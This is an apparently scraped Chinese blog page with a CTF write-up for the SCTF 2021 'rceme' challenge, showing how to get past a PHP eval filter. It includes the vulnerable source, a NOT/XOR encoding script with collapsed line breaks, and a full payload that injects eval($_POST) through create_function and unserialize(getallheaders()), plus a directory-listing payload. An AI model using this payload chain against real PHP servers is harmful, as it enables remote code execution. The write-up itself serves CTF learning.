当前位置: 首页 > news >正文

RCE绕过

1.[SCTF 2021]rceme

总结下获取disabled_funciton的方式 

1.phpinfo()

2.var_dump(ini_get(“disable_functions”));

3.var_dump(get_cfg_var(“disable_functions”));

其他的

var_dump(get_cfg_var(“open_basedir”));

var_dump(ini_get_all());

<?php
if(isset($_POST['cmd'])){$code = $_POST['cmd'];if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){die('<script>alert(\'Try harder!\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}
} else {highlight_file(__FILE__);var_dump(ini_get("disable_functions"));
}
?>

剩下符号:().:[]{}*%#@!~ 

 异或脚本 这里用的是取反结合异或[!%FF]

def one(s):ss = ""for each in s:ss += "%" + str(hex(255 - ord(each)))[2:].upper()return f"[~{ss}][!%FF]("
b=1
while b<2:a = input(":>").strip(")")aa = a.split("(")s = ""for each in aa[:-1]:s += one(each)s += ")" * (len(aa) - 1) + ";"b+=1print(s)

 构造payload  

可用通过unserialize和可变参数来传入多个参数

create_funtion本质是语法解析的。可以直接注入eval

create_function(...unserialize(getallheaders()))[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

http heades 传入一个序列化的参数数组

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;=> a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

 通过php原生类DirectoryIterator来读取目录,发现根目录下有flag以及readflag,flag我们没有读取的权限,所以通过执行readflag来获取flag

a=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

2.环境变量 +linux字符串截取 + 通配符

题目过滤了小写字母,可以通过环境变量绕过

http://www.lryc.cn/news/251703.html

相关文章:

  • Qt应用开发--国产工业开发板全志T113-i的部署教程
  • css 常用动画效果
  • 【读书笔记】微习惯
  • Oracle SQL优化
  • C++实现ATM取款机
  • 【数电笔记】11-最小项(逻辑函数的表示方法及其转换)
  • Gradio库的安装和使用教程
  • 【BLE基础知识】--Slave latency设置流程及空中包解析
  • 数据结构之堆排序以及Top-k问题详细解析
  • ESP32-Web-Server 实战编程-通过网页控制设备多个 GPIO
  • 说一说MySQL中的锁机制
  • C++笔试训练day_1
  • 详解Spring对Mybatis等持久化框架的整合
  • [Electron] 将应用打包成供Ubuntu、Debian平台下安装的deb包
  • 7.24 SpringBoot项目实战【审核评论】
  • Java实现动态加载的逻辑
  • 数据库的设计规范
  • 正则表达式从放弃到入门(2):grep命令详解
  • 用Java写一个王者荣耀游戏
  • 基于SSM的新闻网站浏览管理实现与设计
  • 【蓝桥杯软件赛 零基础备赛20周】第6周——栈
  • CWE/SANS TOP 25 2022
  • Qt 天气预报项目
  • 新知识-Tuple元组的使用
  • “此应用专为旧版android打造,因此可能无法运行”,问题解决方案
  • 【Leetcode题单】(01 数组篇)刷题关键点总结03【数组的改变、移动】
  • Lag-Llama:基于 LlaMa 的单变量时序预测基础模型
  • vue3 :deep() 深度选择器不生效
  • 从零构建属于自己的GPT系列1:数据预处理(文本数据预处理、文本数据tokenizer、逐行代码解读)
  • c++中函数的引用